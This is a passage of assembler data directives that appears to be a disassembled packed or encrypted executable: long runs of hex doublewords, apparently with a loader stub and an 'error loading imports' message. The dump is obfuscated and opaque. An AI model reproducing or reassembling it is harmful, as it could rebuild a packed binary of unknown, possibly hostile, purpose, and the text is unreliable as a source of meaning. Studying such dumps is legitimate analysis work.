23547DC6h, 54BF3AFCh, 90B3C48h, 8B481h, 0A451F200h dd 0CD94142Fh, 0FABB3D58h, 22C36A85h, 48ED92ADh, 95A092D3h dd 0BDD84D10h, 0E8037825h, 132EA346h, 5C5CD190h, 0BD3AAAC0h dd 671C3F49h, 59F0738Fh, 6E80FD6h, 0C9E78CADh, 42F2C6B3h dd 1F9DBA3Fh, 0D9112F56h, 6B421C3h, 41F03533h, 0C1640A23h dd 43E28AA3h, 7CF1A061h, 0EB87AB42h, 16F8BD41h, 0E594D855h dd 3EA6BCDAh, 183305E9h, 812524D3h, 0E27BEDCh, 0F99F4C39h dd 1AB09241h, 33065DCAh, 66DDC04h, 61122733h, 0E0852A43h dd 0A8FD1331h, 3039245Ch, 0DE36CDEBh, 0F1973E3Bh, 0A33C1ECDh dd 12150B00h, 44049075h, 1BFDA045h, 9A71335Ah, 54EC2E65h dd 7F7CA52h, 0AC350000h, 0DB617CF1h, 0E68AA51Ah, 8AFCA3Fh dd 54D9F469h, 0E9DB1C91h, 1F9459DEh, 4EC37E04h, 79EEB333h dd 0A51ADB5Eh, 0F1F309A5h, 653F49BDh, 86B3D8B0h, 0ECB9CFEDh dd 0EC3F42E1h, 8C2CC5A7h, 0D75570E5h, 65D32C0Eh, 44D8EE0Ch dd 823306C5h, 0CCED5B3Dh, 8D54D486h, 0C4E00018h, 15233306h dd 6F063E5Ch, 0C7EEE28Ch, 0B2AE5DF5h, 3305FA56h, 4EE50348h dd 0BE060306h, 50C574B8h, 9016B735h, 2B2AEBCDh, 0E0C2E988h dd 4AE79128h, 3810B88Fh, 304B8D89h, 0C5683306h, 1EA13A1Ch dd 0B15E7557h, 0CE74314Ch, 0FB413E28h, 0E62C4D21h, 78EDB434h dd 3416DF5Dh, 62F929Eh, 95DBFC33h, 16882DC4h, 41B29BC6h dd 4C159392h, 0FE849DD7h, 0F1A06143h, 4D6B0632h, 615AA37h dd 7F61A633h, 677A60E9h, 3B811EA7h, 45F1CECCh, 18187FCh dd 526B0000h, 0A35B0AABh, 0E0F686B3h, 3924D304h, 0C8E60D52h dd 42E763B2h, 0F210553Fh, 1A8F56D9h, 97B57CFFh, 186BB000h dd 4AF912E7h, 0D870D268h, 9517BA4Ch, 0AA51EACCh, 0EF8E290Bh dd 0E8E5CFA9h, 8399D1A2h, 0ABBF8161h, 201B0F5h, 2641B67Fh dd 0C2630A83h, 16F81FE0h, 81F67BBDh, 3C1EC766h, 640B00A3h dd 18D95CCCh, 79918F9Bh, 8D4E30F5h, 0AFCA3F66h, 2E47650Ch dd 5436E588h, 4A1BF4BEh, 458B881Eh, 0DC511093h, 95773EC1h dd 657EFC3Ch, 7B3C1EC7h, 34B0657Fh, 1DC06639h, 0C1067A3Bh dd 7E667C9Ah, 0D83934B0h, 517839BBh, 546AA2DCh, 3934B090h dd 0D3D281C6h, 58718F52h, 806211D0h, 0E7881127h, 4C453CECh dd 4C73FC2Dh, 0F7F10725h, 67393453h, 0EF92AD22h, 15AC6446h dd 6ED388A3h dd 4443F26Ch, 0A8E0FEA3h, 4C48E98Fh, 39348F98h, 0E8CA79BEh dd 6113597Ah, 68A217DEh, 8FCA1A30h, 478C3934h, 1BFDA448h dd 9ACAB5Ah, 234AEF90h, 3B518941h, 39348FA9h, 0FAB968ADh dd 0FF15333Eh, 39348FEDh, 0A4BF3479h, 0C67E6001h, 5E223C2Fh dd 14C349FDh, 0EACC9115h, 0FC12AC51h, 39349DE8h, 2002296Eh dd 0C264E587h, 557C3D1Fh, 0CA101173h, 0E12728F0h, 6F0D8C2Fh dd 0F2A9FC6h, 8AE3C56Ch, 8FA5C3AEh, 39349D61h, 3853C80Dh dd 0B811F3B6h, 0BAD3F180h, 0D0917332h, 7ED0321h, 6F39349Dh dd 73E1B52Ah, 82BC31F0h, 3C1EC769h, 2C0DCC7Bh, 0FE25CC6Fh dd 0A01749E0h, 10AD906Fh, 740B4361h, 96E584B5h, 6F6B1A67h dd 3F4323EAh, 0F0B53956h, 0EC92ABC9h, 0F1B43952h, 6CCEFF5h dd 0FB226733h, 4ECB6B86h, 662709B4h, 35045D3Fh, 71081E3Ch dd 653924ECh, 0ACCD172Dh, 44892CE8h, 0FADC2195h, 0E8BC7C64h dd 0C1B2872Ch, 8F556BA3h, 3C2CE89Ch, 5314F6BBh, 421D9ADFh dd 10EF40DFh, 0ACE402B1h, 0C230D415h, 0CE6E4BA8h, 5D844527h dd 0C9F3B2AEh, 0A0E53306h, 0E38225BEh, 10A9E421h, 0A42C2EE6h dd 4E9h, 6ADF9A27h, 9308A94Fh, 0B82DF478h, 0E2571E9Dh dd 0E8326C7h, 2FD0DBCDh, 68FA158Ah, 991D38ADh, 0A1445FD4h dd 0EF8B8B00h, 49C10BD9h, 0BE964B3Fh, 0CFED86B3h, 42FA54B9h dd 0F10F543Fh, 796B81B9h, 0DD3306ABh, 0AC489C98h, 0C90E3306h dd 3FA2381Ah, 6F3306ACh, 1F1D8CD2h, 0D887E3F7h, 0CBh, 0D29A7622h dd 0DC613924h, 79975EE1h, 0D1B92B41h, 619D3924h, 24D1994Bh dd 5178BD39h, 6B2FFFD4h, 1BCA3616h, 972CBA6h, 1E1CB3EBh dd 78C94AE5h, 4F0A9897h, 1FDAC6Dh, 3924BCEBh, 0BB54367Bh dd 571EA138h, 0E60DD458h, 650CAFC8h, 0EE0741B6h, 4C5A74Eh dd 0DBBD6005h, 91AC6B1Ah, 38B4CAE8h, 2E3924BDh, 0B84F07E9h dd 9D23E267h, 95944316h, 3AE77B12h, 52709758h, 0DEFB639h dd 4D289D4Ch, 356D8BF0h, 0DF7FAF9Eh, 3EEDF033h, 2443BE42h dd 6E0D2639h, 7524E5C7h, 44DABC01h, 3924839Ch, 0FFE18027h dd 3A1CC166h, 9973B9B6h, 0EC5EA4C5h, 0F40A2851h, 3924040Ch dd 0BEC83D82h, 0DDh, 0CD8EE26h, 4A392404h, 0B39E5605h dd 29249786h, 225BB446h, 35F6D89Dh, 91C9E70Eh, 7D2CF578h dd 43CA2481h, 8D6FB43Fh, 5D879DD5h, 6E3307ACh, 824325C8h dd 1B1AC90Eh, 8A65DA87h, 679FBDB4h, 0ACCB192Fh, 48823307h dd 2B9077h, 3DEC31A5h, 74BA741h, 9072B733h, 74BE5FAh, 975ADC33h dd 0D8991CB5h, 14D95DF6h, 0A8A97132h, 0D5728862h, 5722208Fh dd 62DB87E3h, 25000000h, 0D4F28BB3h, 8EA8059Ch, 0F4B13EE6h dd 749B4945h, 76BB3925h, 0BA67FB94h, 9DD46A45h, 74C7697Fh dd 0E2273925h, 0B3766A00h, 0A94D3925h, 3E58C2Ch, 0A0391B42h dd 0DE795B1Eh, 4B1FF93Fh, 32F3768Fh, 48BA0083h, 4B617FF6h dd 392533E5h, 154FC409h, 1021907Eh, 0B1C7CF00h, 39254133h dd 8B7DE23h, 31F07350h, 7233B64Fh, 4EB5BD54h, 3B3FB5B5h dd 0FD3C178Ch, 19405674h, 273F43AEh, 0DBBD780Ah, 5911F31Ah dd 15F7A240h, 37A9A554h, 8C330773h, 0CA6345ECh, 6908AB22h dd 0D1F26042h, 0FE9BB18Bh, 304B49B8h, 0F78E87E3h, 0FC6C430Eh dd 0BB36273h, 3Bh, 0ED86B355h, 0FE4CB9CFh, 74C3F42h, 0CE546D25h dd 5DFF513h, 513306A8h, 7F615D0Ch, 2D3306A7h, 9958DCF5h dd 0C447F6B7h, 1494AD7Eh, 0FBAA6B4Dh, 0E3FF413Fh, 0EFFA87h dd 73440000h, 12D359F0h, 33B4CDEBh, 71F38C6Eh, 0E60DCEB0h dd 0EF9E5BE7h, 71D550Dh, 3924D2DDh, 86853479h, 0E61E3CE1h dd 24D314D0h, 4EFD4239h, 9150D36Ch, 44DEF7AFh, 48EBEA99h dd 0CE728BA9h, 0EB037827h, 3924D7D5h, 5AF3768Fh, 9EB12D3h dd 179A9948h, 3BBED94Eh, 0C7E0987Ah, 0DB9C7E3Bh, 0A7CC6D2Ch dd 0DA867389h, 0B5FA3F42h, 9FD46540h, 0CAC16881h, 4EF6660Eh dd 0FBDD04BAh, 576D8B3Ah, 3926C22Ah, 0EA032166h, 0D4F2A144h dd 2773ABBh, 0E1A346E7h, 0EC2B64B6h, 0C2068E90h, 1, 2641B663h dd 4F6ADF86h, 748F04ADh, 9CB72CF5h, 0A0E1561Bh, 5F02A3AEh dd 8633CFEAh, 0AD70F611h, 0DB9A1D38h, 0B4CA6666h, 3F49C430h dd 73997126h, 0C22238F2h, 943924D2h, 98B3284Fh, 9DD74C15h dd 0D2954F65h, 26C13924h, 56EA439Ah, 2EDD04FAh, 0ED86B376h dd 6C31B6CFh, 7C899FBDh, 1C3F42FDh, 0B6B57CFFh, 64466D30h dd 6A712CEh, 0B7FD9A33h, 0E4004A48h, 0F5748D87h, 0BED57D2Ch dd 0B9000000h, 785A1FA0h, 735008B7h, 0B64F31F0h, 0F48A6C31h dd 3924D7CCh, 0C41734B7h, 639AA6E7h, 6AA41940h, 0DBACAFD3h dd 823154AFh, 5F41E083h, 203E3306h, 42C4EF0Ah, 0D74C913Fh dd 954F659Dh, 363306AAh, 4F10F2B3h, 149796DBh, 5ADF9E4Dh dd 8BC3FB19h, 6AA6F75h, 16DB5C33h, 0BAFF7334h, 0CB7A27BBh dd 275453CFh, 0E73ED539h, 0E8A9474Dh, 8FD448F7h, 12D75871h dd 38FD829Dh, 2BE31B76h, 9D2527ECh, 0BDh, 46BB66FBh, 6FE48D2Bh dd 9C11D054h, 0C63BFA81h, 0F2670AABh, 33B4BFB1h, 44DEF96Eh dd 65092499h, 8D304BC0h, 0D36F6FE4h, 49C527BDh, 0A27A2F3Fh dd 0BA2FF273h, 0E0551C9Fh, 31F0730Ch, 1C33B64Fh, 7DA0F3F0h dd 970C3341h, 0D6F47DBCh, 4A71A9C0h, 9072B73Fh, 38AD74F7h dd 0F9DB9A1Dh, 0E5BB0F63h, 0AAF0ED5Dh, 37AC75F8h, 778DC5FDh dd 81B8D6Dh, 3CA8A4E9h, 1A081B8Eh, 0D9BB7AFDh, 4342F118h dd 4CE301A0h, 1D1C2F2Ch, 12F4A387h, 1533F279h, 54C5D47Eh dd 0DA892CC7h, 23698AF8h, 0B227CE71h, 0F0751497h, 21108D7h dd 0A4CBB125h, 0A139B7Dh, 7B000000h, 391BDA62h, 7F11C978h dd 33EE73A7h, 6C35B851h, 0A84DF18Ah, 0E8952DC6h, 25C86D06h dd 6005AA43h, 9F46E57Eh, 0E18024BDh, 1FC666FFh, 8950003Dh dd 405E0h, 0E8830000h, 24048704h, 6824248Bh, 4BC3h, 68240C89h dd 5AD4h, 68243C89h, 624E6D8h, 81240C8Bh, 4C4h, 4EC8300h dd 81242489h, 42404h, 565F0000h, 89CB8953h, 77895BDEh dd 34FF5E08h, 0C4835F24h, 2434FF04h, 4C48159h, 0E9000000h dd 0FFF98BE7h, 39522606h, 429C5422h, 0B8FA8BCDh, 624F35Ah dd 0E0FFC503h, 25851896h, 29FA665Dh, 4FF41C2Ch, 42047D40h dd 5661FE6h, 461A9AB1h, 4D51F05Ch, 21142BE6h, 4A113E15h dd 3ED398C0h, 28DEC2BBh, 451C78F2h, 6408B17Eh, 1AE537C4h dd 233A797Ch, 6288F3DEh, 50F82330h, 51CE6BA2h, 68EB2BF4h dd 2D0E8712h, 63B1E8C7h, 53A3D7F9h, 7C09317h, 4714140Ah dd 249AFCEBh, 29C19983h, 20F67795h, 29FDD40Ch, 7E8h, 8FFA9700h dd 5D91D5B7h, 54E88166h, 8C0F5913h, 6, 0EEA7E881h, 0C1815ED2h dd 6973h, 2568C7B4h, 0F00001Ah, 80h, 8E0F5E00h, 4, 0D1D5BA66h dd 0EE9398Bh, 66000000h, 0C41A24DAh, 0C1D60BD8h, 0CE5E306Ah dd 0B0F781D9h, 6672C373h, 25BAE381h, 8DC4F781h, 8AB618F5h dd 0BBBEF781h, 665661BFh, 11F7EA81h, 8B525758h, 18F5AC2h dd 5860Fh, 0F9BB0000h, 810BD107h, 68DA29E9h, 5501BB08h dd 0C1814CE7h, 868DA25h, 8820Fh, 820F0000h, 2, 0EE8103B2h dd 1, 26850Fh, 830F0000h, 15h, 0F8A0Fh, 9E80000h, 78000000h dd 9E11864h, 0FBA081C4h, 1AE958h dd 0FC800000h, 3CB1C6A5h, 61E9C38Bh, 0E2FFFFFFh, 2FE3DBC3h dd 5870A39Dh, 5B62D9B4h, 0F6398D8Dh, 6A0624h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 309C82C3h dd 0B589E430h, 61E20C5h, 12E9h, 0F397C100h, 63FDF98Dh dd 36BFEE7Bh, 0DF088802h, 8900C014h, 1E23758Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 4D85C720h, 50061E32h, 6A00006Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 6B66C356h dd 0B6EA3CA9h, 8E906h, 0B2CD0000h, 0F4D0908h, 85C7C093h dd 61E3169h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0AC35242h dd 0ADD2517h, 0BD8B6039h, 61E22F1h, 0DDB58961h, 0FF061E32h dd 1E1515B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 9DBB7126h, 279544D7h, 9D892EF0h dd 61E0329h, 16B995FFh, 6A061Eh, 26C195FFh, 0C08B061Eh dd 92470BEBh, 7AB77EB7h, 81C01BF0h, 127E984h, 5B500000h dd 0EFAC7376h, 154Eh, 6E410000h, 72724520h, 6820726Fh dd 6F207361h, 72727563h, 77206465h, 656C6968h, 616F6C20h dd 676E6964h, 706D6920h, 7374726Fh, 0E7AC3700h, 0E75CEB77h dd 0E73C4977h, 0F7E21F77h, 0F7E30077h, 0E6000077h, 777h dd 5 dup(0) dd 0E7A5FD00h, 77h, 2Bh dup(0) dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 0B7B5B8Fh, 1C131134h dd 3E4335B1h, 6166422Ch, 9E35722Bh, 1177A9F2h, 90EF8832h dd 137848DBh, 0B95CBFBFh, 0C6991712h, 0A8E5D069h, 13786F17h dd 45715632h, 1177A961h, 90EF8832h, 137848DBh, 0BC4FBFBFh dd 0C6991712h, 0D5EDD069h, 0E3FBF9B1h, 1A662416h, 156601B6h dd 31E30532h, 0EA6060E3h, 41E3AFE2h, 0EA6035E3h, 54E34EE2h dd 43605A12h, 0BDDE705Ah, 84D3EEAEh, 98609600h, 341E95B7h dd 9CB6DD34h, 0B47ECB7h, 78E30534h, 456060C5h, 0E328A7BFh dd 0EA361716h, 0B7549A7h, 50E38334h, 15603C33h, 0D3661132h dd 0B46C9B7h, 7C0E0134h, 0EAE8505Bh, 0B64E087h, 0EFE30534h dd 0EA605A0Ah, 50E3ABE2h, 0D3600F2Ch, 0B46C9B7h, 4B0E0734h dd 0EAFA4559h, 0B64E087h, 0EFE30534h, 0EA605A0Ah, 90E3ABE2h dd 0D36035C4h, 0B46C9B7h, 3C0E1034h, 0EA88405Ah, 0B64E087h dd 0EFE30534h, 0EA605A0Ah, 9CE3ABE2h, 0D36035C4h, 0B46C9B7h dd 0D70E0134h, 0EABC420Ah, 0B64E087h, 0EFE30534h, 0EA605A0Ah dd 98E3ABE2h, 966035C4h, 0B41A58Fh, 90694434h, 15662277h dd 352794F4h, 7D238E2Ch, 0EF463AB4h, 179797CDh, 90EB172Ch dd 1378B0C8h, 90EF94CDh, 1342D4A3h, 352794F4h, 7D2A8E2Ch dd 0F54094F1h, 179797CDh, 90EB172Ch, 1378B0C8h, 90EF94CDh dd 1342D4A7h, 156651DBh, 54E34E32h, 47605A12h, 5F822F5Ah dd 0D4D3EE8Eh, 98609613h, 0B5EBEB7h, 9CB6DD34h, 319080B7h dd 54E34E34h, 47605A12h, 592C6A5Ah, 0D4D3EE94h, 98609613h dd 0B5EBEB7h, 9CB6DD34h, 319084B7h, 54E34E34h, 47605A12h dd 57D2C85Ah, 0E4D3EECFh, 98609630h, 0B5EBEB7h, 9CB6DD34h dd 0B54C0B7h, 54E34E34h, 62605A12h, 82CE815Ah, 40D3EEC1h dd 98609626h, 0B5EBEB7h, 9CB6DD34h, 0B4084B7h, 54E34E34h dd 47605A12h, 0C857355Ah, 0E4D3EEB8h, 98609630h, 0B5EBEB7h dd 9CB6DD34h, 0B5530B7h, 54E34E34h, 43605A12h, 0A0B1B5Ah dd 84D3EEE6h, 98609600h, 341E95B7h, 9CB6DD34h, 0B7B90B7h dd 54E34E34h, 52605A12h, 0C976585Ah, 0E4D3EEB3h, 98609630h dd 0B5EBEB7h, 9CB6DD34h, 0B7830B7h, 54E34E34h, 52605A12h dd 1AD3C05Ah, 0E4D3EEB8h, 98609630h, 0B5EBEB7h, 9CB6DD34h dd 3190A4B7h, 0A4DB0B34h, 15605A01h, 1337A63Dh, 90A01132h dd 1378A873h, 98F2C7Eh, 0A099FBE8h, 137813C3h, 2D9C0DBFh dd 0C599422Ch, 0E3C7A7BBh, 90A01716h, 1378A873h, 0CBA82C7Eh dd 0A099FF46h, 137813C3h, 2D9C0DBFh, 0C599422Ch, 0E3C3A7BBh dd 90A01716h, 1378A873h, 97592C7Eh, 0A09995B3h, 137813C3h dd 2D9C0DBFh, 0C599422Ch, 0E3CFA7BBh, 90A01716h, 1378A873h dd 557E2C7Eh, 0A099911Dh, 137813C3h, 2D9C0DBFh, 0C599422Ch dd 0E3CFA7BBh, 90A01716h, 1378A873h, 13722C74h, 0A09998ECh dd 137813C3h, 2D9C0DBFh, 0C599422Ch, 0E3D7A7BBh, 90A01716h dd 1378A873h, 51C2C75h, 0A099A3EEh, 137813C3h, 2D9C0DBFh dd 0C599422Ch, 0E3DFA7BBh, 90A01716h, 1378A873h, 9BCA2C75h dd 0A099CDB5h, 137813C3h, 2D9C0DBFh, 0C599422Ch, 0E3DBA7BBh dd 90A01716h, 1378A873h, 0B2B42C75h, 0A099F6A8h, 137813C3h dd 2D9C0DBFh, 0C599422Ch, 0E3A7A7BBh, 90A01716h, 1378A873h dd 2C622C75h, 0A09998F3h, 137813C3h, 2D9C0DBFh, 0C599422Ch dd 0E3A3A7BBh, 0A8E51716h, 13789487h, 0D3463132h, 0B4663B7h dd 720E5634h, 0EA86FA1Fh, 0B64B587h, 0EFE3AF34h, 0EA600F0Ah dd 0DCE301E2h, 0D36060C4h, 0B4663B7h, 0A40E5634h, 0EAE8A181h dd 0B64B587h, 0EFE3AF34h, 0EA600F0Ah, 0D8E301E2h, 0D36060C4h dd 0B4663B7h, 0B20E5234h, 0EAA6FE78h, 0B64B587h, 0EFE3AF34h dd 0EA600F0Ah, 0C4E301E2h, 0D36060C4h, 0B4663B7h, 0FE0E5D34h dd 0EA9DEE5Eh, 0B721187h, 0EFE3AF34h, 0EA600F0Ah, 70E301E2h dd 0D36060C5h, 0B4663B7h, 400E5534h, 0EADDFBBCh, 0B64B587h dd 0EFE3AF34h, 0EA600F0Ah, 0C0E301E2h, 0D36060C4h, 0B4663B7h dd 0E90E5234h, 0EADA065Ch, 0B64B587h, 0EFE3AF34h, 0EA600F0Ah dd 0CCE301E2h, 0D36060C4h, 0B4663B7h, 0BF0E4234h, 0EAA0980Ch dd 0B64B587h, 0EFE3AF34h, 0EA600F0Ah, 0C8E301E2h, 966060C4h dd 0B4BF38Fh, 91691134h, 156688D2h, 3527C1F4h, 7D20242Ch dd 0EFF0DF03h, 17973DCDh, 90EB422Ch, 13781AC8h, 90EFC1CDh dd 13427F0Bh, 3527C1F4h, 7D20242Ch, 0E9C12BE4h, 17973DCDh dd 90EB422Ch, 13781AC8h, 90EFC1CDh, 13427F7Bh, 3527C1F4h dd 7D20242Ch, 879AB532h, 17973DCDh, 90EB422Ch, 13781AC8h dd 90EFC1CDh, 13427F7Fh, 3527C1F4h, 7D20242Ch, 0E3B25E58h dd 17973DCDh, 90EB422Ch, 13781AC8h, 90EFC1CDh, 13427F63h dd 3527C1F4h, 7D20242Ch, 81AB41D5h, 17973DCDh, 90EB422Ch dd 13781AC8h, 90EFC1CDh, 13427F0Fh, 3527C1F4h, 7D20242Ch dd 0A4446509h, 17973DCDh, 90EB422Ch, 13781AC8h, 90EFC1CDh dd 13427F73h, 3527C1F4h, 7D20242Ch, 0CA1FFBDFh, 17973DCDh dd 90EB422Ch, 13781AC8h, 90EFC1CDh, 13427F77h, 9D3F9B1h dd 6066242Ch, 54E3D712h, 46609612h, 0AB861A5Ah, 0E4D3DDFCh dd 98600F30h, 0B5E72B7h, 9CB6BB34h, 3190C3B7h, 54E3D734h dd 52609612h, 0A438C35Ah, 0E4D3DDF5h, 98600F30h, 0B5E72B7h dd 9CB6BB34h, 3190C7B7h, 0A0DB9234h, 1560962Eh, 90A06447h dd 13780273h, 6B637975h, 0A0996E50h, 137846C3h, 2D9CA7BFh dd 0C599172Ch, 0E38F0DBBh, 90A04216h, 13780273h, 1C907971h dd 0A0991A48h, 137846C3h, 2D9CA7BFh, 0C599172Ch, 0E38B0DBBh dd 90A04216h, 13780273h, 82467971h, 0A0997413h, 137846C3h dd 2D9CA7BFh, 0C599172Ch, 0E3970DBBh, 0A8E54216h, 13783E87h dd 0D3266432h, 0B46C9B7h, 160E0734h, 0EAED229Ah, 0B64E087h dd 0EFE30534h, 0EA605A0Ah, 0ECE3ABE2h, 0D36035C4h, 0B46C9B7h dd 0C00E0734h, 0EA837904h, 0B64E087h, 0EFE30534h, 0EA605A0Ah dd 0E0E3ABE2h, 0D36035C4h, 0B46C9B7h, 0F40E0734h, 0EA8C8800h dd 0B64E087h, 0EFE30534h, 0EA605A0Ah, 0E8E3ABE2h, 0D36035C4h dd 0B46C9B7h, 220E0734h, 0EAE2D39Eh, 0B64E087h, 0EFE30534h dd 0EA605A0Ah, 14E3ABE2h, 0D36035C5h, 0B46C9B7h, 0C10E0B34h dd 0EAF117A2h, 0B64E087h, 0EFE30534h, 0EA605A0Ah, 10E3ABE2h dd 0D36035C5h, 0B46C9B7h, 170E0B34h, 0EA9F4C3Ch, 0B64E087h dd 0EFE30534h, 0EA605A0Ah, 1CE3ABE2h, 0D36035C5h, 0B46C9B7h dd 5C0E0934h, 0EAAE154Bh, 0B64E087h, 0EFE30534h, 0EA605A0Ah dd 4E3ABE2h, 0D36035C5h, 0B46C9B7h, 9C0E0934h, 0EABAD57Fh dd 0B64E087h, 0EFE30534h, 0EA605A0Ah, 18E3ABE2h, 0D36035C5h dd 0B46C9B7h, 220E1134h, 0EAFA391Fh, 0B64E087h, 0EFE30534h dd 0EA605A0Ah, 0E3ABE2h, 0D36035C5h, 0B46C9B7h, 3F0E0734h dd 0EAB4F7C2h, 0B64E087h, 0EFE30534h, 0EA605A0Ah, 0CE3ABE2h dd 0D36035C5h, 0B46C9B7h, 0FF0E1634h, 0EA9B6086h, 0B64E087h dd 0EFE30534h, 0EA605A0Ah, 0C4E3ABE2h, 0D3600F00h, 0B46C9B7h dd 8C0E0334h, 0EA84BA6Bh, 0B64E087h, 0EFE30534h, 0EA605A0Ah dd 8E3ABE2h, 0D36035C5h, 0B46C9B7h, 0D70E0334h, 0EAD7DF52h dd 0B64E087h, 0EFE30534h, 0EA605A0Ah, 34E3ABE2h, 0D36035C5h dd 0B46C9B7h, 10E0334h, 0EAB984CCh, 0B64E087h, 0EFE30534h dd 0EA605A0Ah dd 30E3ABE2h, 0D36035C5h, 0B46C9B7h, 7D0E1B34h, 0EAF872C0h dd 0B64E087h, 0EFE30534h, 0EA605A0Ah, 3CE3ABE2h, 0D36035C5h dd 0B46C9B7h, 2A0E0B34h, 0EAA1DE49h, 0B64E087h, 0EFE30534h dd 0EA605A0Ah, 40E3ABE2h, 0D36035C5h, 0B46C9B7h, 590E0334h dd 0EA9C795Ch, 0B64E087h, 0EFE30534h, 0EA605A0Ah, 4CE3ABE2h dd 0D36035C5h, 0B46C9B7h, 0D80E0334h, 0EAA52416h, 0B64E087h dd 0EFE30534h, 0EA605A0Ah, 48E3ABE2h, 0D36035C5h, 0B46C9B7h dd 0D90E1B34h, 0EAB29952h, 0B64E087h, 0EFE30534h, 0EA605A0Ah dd 38E3ABE2h, 0D36035C5h, 0B46C9B7h, 5B0E1B34h, 0EAF8CB66h dd 0B64E087h, 0EFE30534h, 0EA605A0Ah, 24E3ABE2h, 0D36035C5h dd 0B46C9B7h, 5D0E1B34h, 0EAB7311Ah, 0B64E087h, 0EFE30534h dd 0EA605A0Ah, 20E3ABE2h, 7F6035C5h, 566E036h, 150E4432h dd 7F662222h, 0E8F3EE32h, 9C609613h, 0B4DE9B7h, 0D2E3AF34h dd 0EA6035F8h, 7D62E2E2h, 15665432h, 1546225Ah, 0EA667B32h dd 0B4775A7h, 0CCE3CD34h, 9C603C32h, 0B6780B7h, 7D26E234h dd 15665432h, 1466225Ah, 0EA667B32h, 0B4775A7h, 0C8E3CD34h dd 9E603C1Eh, 0B703487h, 9CFB0334h, 9C605A3Eh, 0B44EF87h dd 24FB9834h, 9E60962Ch, 0B6ACDAFh, 966DA934h, 916911CBh dd 156682EDh, 26061562h, 70E3ABF2h, 0AB600F32h, 1566880Eh dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h dd 34F79FBBh, 0EAE3172Ch, 156C0D3Dh, 1B8E4432h, 0FC662223h dd 156611A3h, 7EB10363h, 80EF40E0h, 13782FAFh, 150E1558h dd 47668822h, 80994458h, 137803CFh, 3A9B94BBh, 0C5ED8E2Ch dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 0B4DE98Fh, 0EAAFA134h dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah, 0EA8C943Dh dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 70E3EE60h, 9E609632h dd 0B6621A7h, 84F31B34h, 1A600F13h, 156682B6h, 96381E32h dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 9BFC1F5h, 1566242Ch dd 90A11132h, 1378927Fh, 15664432h, 0E3FB9FB1h, 1A661716h dd 156680B6h, 72FBC932h, 0EA600676h, 0B8E3EEE1h, 96609610h dd 0B44E98Fh, 97694634h, 15661150h, 37CB0DF5h, 1567422Ch dd 98062232h, 31916487h, 0F5DB0534h, 3E606121h, 9EB1A9CCh dd 0B4DBC8Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h, 0FCA79636h dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 1378AF6Bh dd 1571C03Dh, 0A8E52232h, 13782263h, 1FE38732h, 0D2664432h dd 0B6767B7h, 15661034h, 13DFE932h, 0AF37B1A7h, 5B62871Ch dd 0D8D3989Fh, 0D2609610h, 1566B874h, 0FB5B2232h, 1A88FFDCh dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h, 15604F32h dd 96664432h, 0A0EF26F4h, 137833FFh, 156E71DBh, 26BECF32h dd 0B6767B7h, 16AED034h, 0D5A74A19h, 9CA77722h, 0B6767AFh dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h, 9069AA89h dd 1566880Bh, 156642F5h, 0D3E52232h, 0D8D39836h, 9E609610h dd 0B6ACDAFh, 9E6DA934h, 0D7ED71E2h, 39F0D19h, 0F5A7422Ch dd 58E32130h, 83600F15h, 9CA78B9Fh, 747A6076h, 15665EDBh dd 26344032h, 0E8F303FBh, 2E605A1Dh, 2DE22D30h, 96661132h dd 2E278CF0h, 0B47D5BFh, 0FDE32D34h, 9899EECDh, 3190D287h dd 0B0DBC934h, 0B9603C11h, 9169D1B6h, 15668834h, 0EA97AD98h dd 15DEDDCDh, 98661132h, 0B2A30BFh, 9C87BB34h, 0B6647BFh dd 433F4B34h, 19EF15B9h, 1EED422Ch, 1503A7B9h, 0F5B7172Ch dd 3CDF0D31h, 0E355422Ch, 0D4CB44A4h, 906513D2h, 1378AF7Fh dd 0D465E9A4h, 0E8DBA16Ch, 14600F19h, 155F0C3Dh, 985D4432h dd 137820C3h, 154B953Dh, 985D8832h, 13785067h, 1547A63Dh dd 985D1132h, 137896AFh, 1573C03Dh, 88EB2232h, 13431A8Ah dd 0EDED5BCDh, 8A3C1BBh, 0A18F242Ch, 98661134h, 306D30AFh dd 96B5BB34h, 0B4DDF8Fh, 91691134h, 1566882Fh, 166BC109h dd 9169242Ch, 1566113Eh, 0BA70D09h, 9069422Ch, 15662237h dd 0EA99A8DBh, 50E3B3CDh, 1A605A2Ch, 15663AB7h, 38DB9232h dd 15609615h, 156DC13Dh, 90EB2232h, 1342F5ADh, 0EA991DDBh dd 50E37FCDh, 1A603C2Ch, 0EA9998B6h, 43DB0BCDh, 146060C4h dd 1571A73Dh, 905D1132h, 13427E87h, 156DC13Dh, 90EB2232h dd 153EF792h, 0EA99E5DBh, 969977CDh, 0B55938Fh, 91691134h dd 15668B55h, 0E3C7C109h, 12132416h, 3AB94B9h, 2E218E2Ch dd 3190EDB7h, 9E615734h, 0B4554B7h, 905DCF34h, 1342B297h dd 90ED2547h, 1378348Fh, 0B8E3B375h, 606060C4h, 0D8E3A935h dd 52600F17h, 0E3D70D09h, 12134216h, 38D7A7B9h, 2E21172Ch dd 31903DB7h, 9E613134h, 0B412FB7h, 905D5634h, 13427E8Bh dd 90ED4347h, 13783D23h, 0A8E32A75h, 6060ACC4h, 10E3CF35h dd 52603C37h, 0E3A79409h, 12138E16h, 17A3C1B9h, 2E21242Ch dd 3190D4B7h, 9E61FD34h, 0B5475B7h, 905D6534h, 1342E7FFh dd 90ED8F47h, 13786317h, 0DCE31975h, 606035C4h, 0A0DB0B22h dd 15605A2Eh, 90ED2547h, 